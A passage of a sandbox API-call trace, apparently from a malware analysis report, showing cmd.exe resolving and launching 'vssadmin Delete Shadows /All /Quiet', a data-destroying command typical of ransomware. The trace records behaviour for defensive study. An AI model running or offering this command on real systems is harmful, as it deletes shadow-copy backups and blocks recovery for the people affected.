(in: hFindFile=0x7d1ed8 | out: hFindFile=0x7d1ed8) returned 1 [0034.973] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0034.973] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x39f8d4 | out: lpFindFileData=0x39f8d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3870e600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3870e600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7d1ed8 [0034.973] FindClose (in: hFindFile=0x7d1ed8 | out: hFindFile=0x7d1ed8) returned 1 [0034.973] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.973] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0034.973] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0034.973] GetProcessHeap () returned 0x7c0000 [0034.973] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d4bd0 | out: hHeap=0x7c0000) returned 1 [0034.973] GetEnvironmentStringsW () returned 0x7d40e0* [0034.973] GetProcessHeap () returned 0x7c0000 [0034.973] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xb36) returned 0x7d5f20 [0034.973] FreeEnvironmentStringsW (penv=0x7d40e0) returned 1 [0034.973] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.973] GetProcessHeap () returned 0x7c0000 [0034.974] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d56c0 | out: hHeap=0x7c0000) returned 1 [0034.974] GetProcessHeap () returned 0x7c0000 [0034.974] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x400e) returned 0x7d6a60 [0034.974] GetProcessHeap () returned 0x7c0000 [0034.974] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x54) returned 0x7d2db0 [0034.974] GetProcessHeap () returned 0x7c0000 [0034.974] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d6a60 | out: hHeap=0x7c0000) returned 1 [0034.974] GetConsoleOutputCP () returned 0x1b5 [0035.041] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0035.041] GetUserDefaultLCID () returned 0x409 [0035.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a254950, cchData=8 | out: lpLCData=":") returned 2 [0035.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x39fc98, cchData=128 | out: lpLCData="0") returned 2 [0035.041] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x39fc98, cchData=128 | out: lpLCData="0") returned 2 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x39fc98, cchData=128 | out: lpLCData="1") returned 2 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a254940, cchData=8 | out: lpLCData="/") returned 2 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a254d80, cchData=32 | out: lpLCData="Mon") returned 4 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a254d40, cchData=32 | out: lpLCData="Tue") returned 4 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a254d00, cchData=32 | out: lpLCData="Wed") returned 4 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a254cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a254c80, cchData=32 | out: lpLCData="Fri") returned 4 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a254c40, cchData=32 | out: lpLCData="Sat") returned 4 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a254c00, cchData=32 | out: lpLCData="Sun") returned 4 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a254930, cchData=8 | out: lpLCData=".") returned 2 [0035.042] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a254920, cchData=8 | out: lpLCData=",") returned 2 [0035.042] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0035.043] GetProcessHeap () returned 0x7c0000 [0035.043] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20c) returned 0x7d2e10 [0035.043] GetConsoleTitleW (in: lpConsoleTitle=0x7d2e10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0035.043] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0035.043] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0035.043] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0035.043] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0035.044] GetProcessHeap () returned 0x7c0000 [0035.044] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x400a) returned 0x7d6a60 [0035.044] GetProcessHeap () returned 0x7c0000 [0035.044] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d6a60 | out: hHeap=0x7c0000) returned 1 [0035.044] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0035.044] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0035.044] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0035.044] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0035.044] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0035.044] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0035.044] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0035.044] GetProcessHeap () returned 0x7c0000 [0035.044] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x58) returned 0x7d3028 [0035.044] GetProcessHeap () returned 0x7c0000 [0035.044] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1a) returned 0x7d5760 [0035.045] GetProcessHeap () returned 0x7c0000 [0035.045] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x40) returned 0x7d3088 [0035.046] GetConsoleTitleW (in: lpConsoleTitle=0x39f990, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0035.046] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0035.046] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0035.046] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0035.046] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0035.046] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0035.046] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0035.046] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0035.046] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0035.046] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0035.046] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0035.046] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0035.046] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0035.046] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0035.046] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0035.046] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0035.046] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0035.046] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0035.047] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0035.047] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0035.047] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0035.047] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0035.047] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0035.047] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0035.047] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0035.047] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0035.047] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0035.047] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0035.047] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0035.047] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0035.047] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0035.047] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0035.047] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0035.047] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0035.047] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0035.047] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0035.047] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0035.047] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0035.047] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0035.047] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0035.047] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0035.047] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0035.047] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0035.047] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0035.047] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0035.047] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0035.047] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0035.047] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0035.047] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0035.047] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0035.047] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0035.047] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0035.047] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0035.047] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0035.047] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0035.048] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0035.048] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0035.048] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0035.048] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0035.048] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0035.048] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0035.048] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0035.048] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0035.048] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0035.048] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0035.048] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0035.048] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0035.048] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0035.048] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0035.048] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0035.048] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0035.048] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0035.048] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0035.048] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0035.048] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0035.048] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0035.048] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0035.048] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0035.048] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0035.048] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0035.048] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0035.048] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0035.048] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0035.048] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0035.048] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0035.048] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0035.048] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0035.048] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0035.049] GetProcessHeap () returned 0x7c0000 [0035.049] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x210) returned 0x7d30d0 [0035.049] GetProcessHeap () returned 0x7c0000 [0035.049] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x52) returned 0x7d32e8 [0035.049] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0035.049] GetProcessHeap () returned 0x7c0000 [0035.049] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x418) returned 0x7c07f0 [0035.049] SetErrorMode (uMode=0x0) returned 0x0 [0035.049] SetErrorMode (uMode=0x1) returned 0x0 [0035.049] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7c07f8, lpFilePart=0x39f4b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39f4b0*="Desktop") returned 0x25 [0035.049] SetErrorMode (uMode=0x0) returned 0x1 [0035.049] GetProcessHeap () returned 0x7c0000 [0035.049] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c07f0, Size=0x66) returned 0x7c07f0 [0035.049] GetProcessHeap () returned 0x7c0000 [0035.049] RtlSizeHeap (HeapHandle=0x7c0000, Flags=0x0, MemoryPointer=0x7c07f0) returned 0x66 [0035.049] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0035.049] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0035.049] GetProcessHeap () returned 0x7c0000 [0035.049] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x120) returned 0x7d3348 [0035.049] GetProcessHeap () returned 0x7c0000 [0035.050] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x238) returned 0x7c0860 [0035.055] GetProcessHeap () returned 0x7c0000 [0035.055] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c0860, Size=0x122) returned 0x7c0860 [0035.055] GetProcessHeap () returned 0x7c0000 [0035.055] RtlSizeHeap (HeapHandle=0x7c0000, Flags=0x0, MemoryPointer=0x7c0860) returned 0x122 [0035.055] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0035.055] GetProcessHeap () returned 0x7c0000 [0035.055] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xe0) returned 0x7d3470 [0035.055] GetProcessHeap () returned 0x7c0000 [0035.055] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7d3470, Size=0x76) returned 0x7d3470 [0035.055] GetProcessHeap () returned 0x7c0000 [0035.055] RtlSizeHeap (HeapHandle=0x7c0000, Flags=0x0, MemoryPointer=0x7d3470) returned 0x76 [0035.056] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.056] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x39f22c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39f22c) returned 0xffffffff [0035.056] GetLastError () returned 0x2 [0035.056] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x39f22c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39f22c) returned 0xffffffff [0035.056] GetLastError () returned 0x2 [0035.056] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.056] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x39f22c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39f22c) returned 0x7d34f0 [0035.057] GetProcessHeap () returned 0x7c0000 [0035.057] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x14) returned 0x7d3530 [0035.057] FindClose (in: hFindFile=0x7d34f0 | out: hFindFile=0x7d34f0) returned 1 [0035.057] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x39f22c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39f22c) returned 0xffffffff [0035.057] GetLastError () returned 0x2 [0035.057] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x39f22c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39f22c) returned 0x7d34f0 [0035.057] GetProcessHeap () returned 0x7c0000 [0035.057] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7d3530, Size=0x4) returned 0x7d3530 [0035.057] FindClose (in: hFindFile=0x7d34f0 | out: hFindFile=0x7d34f0) returned 1 [0035.057] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0035.057] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0035.057] GetConsoleTitleW (in: lpConsoleTitle=0x39f724, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0035.057] InitializeProcThreadAttributeList (in: lpAttributeList=0x39f5ac, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x39f674 | out: lpAttributeList=0x39f5ac, lpSize=0x39f674) returned 1 [0035.057] UpdateProcThreadAttribute (in: lpAttributeList=0x39f5ac, dwFlags=0x0, Attribute=0x60001, lpValue=0x39f66c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x39f5ac, lpPreviousValue=0x0) returned 1 [0035.057] GetStartupInfoW (in: lpStartupInfo=0x39f568 | out: lpStartupInfo=0x39f568*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0035.057] GetProcessHeap () returned 0x7c0000 [0035.057] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7d34f0 [0035.057] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0035.057] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0035.057] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0035.057] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0035.057] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0035.058] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0035.058] GetProcessHeap () returned 0x7c0000 [0035.058] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d34f0 | out: hHeap=0x7c0000) returned 1 [0035.058] GetProcessHeap () returned 0x7c0000 [0035.058] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xa) returned 0x7cff30 [0035.059] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0035.060] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x39f608*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x39f654 | out: lpCommandLine="vssadmin Delete Shadows /All /Quiet", lpProcessInformation=0x39f654*(hProcess=0x78, hThread=0x74, dwProcessId=0xa8c, dwThreadId=0xa9c)) returned 1 [0035.107] CloseHandle (hObject=0x74) returned 1 [0035.107] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0035.107] GetProcessHeap () returned 0x7c0000 [0035.107] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d5f20 | out: hHeap=0x7c0000) returned 1 [0035.107] GetEnvironmentStringsW () returned 0x7d5f20* [0035.107] GetProcessHeap () returned 0x7c0000 [0035.107] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xb36) returned 0x7d40e0 [0035.107] FreeEnvironmentStringsW (penv=0x7d5f20) returned 1 [0035.107] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0040.064] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x39f548 | out: lpExitCode=0x39f548*=0x2) returned 1 [0040.064] CloseHandle (hObject=0x78) returned 1 [0040.064] _vsnwprintf (in: _Buffer=0x39f690, _BufferCount=0x13, _Format="%08X", _ArgList=0x39f554 | out: _Buffer="00000002") returned 8 [0040.064] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0040.064] GetProcessHeap () returned 0x7c0000 [0040.064] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d40e0 | out: hHeap=0x7c0000) returned 1 [0040.064] GetEnvironmentStringsW () returned 0x7d40e0* [0040.064] GetProcessHeap () returned 0x7c0000 [0040.064] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xb5c) returned 0x7d95c8 [0040.064] FreeEnvironmentStringsW (penv=0x7d40e0) returned 1 [0040.064] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0040.064] GetProcessHeap () returned 0x7c0000 [0040.064] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d95c8 | out: hHeap=0x7c0000) returned 1 [0040.064] GetEnvironmentStringsW () returned 0x7d40e0* [0040.064] GetProcessHeap () returned 0x7c0000 [0040.064] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xb5c) returned 0x7d95c8 [0040.064] FreeEnvironmentStringsW (penv=0x7d40e0) returned 1 [0040.064] GetProcessHeap () returned 0x7c0000 [0040.065] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7cff30 | out: hHeap=0x7c0000) returned 1 [0040.065] DeleteProcThreadAttributeList (in: lpAttributeList=0x39f5ac | out: lpAttributeList=0x39f5ac) [0040.065] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.065] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.065] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.065] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0040.065] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.065] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0040.065] SetConsoleInputExeNameW () returned 0x1 [0040.065] GetConsoleOutputCP () returned 0x1b5 [0040.065] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0040.065] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.066] exit (_Code=2) Process: id = "11" image_name = 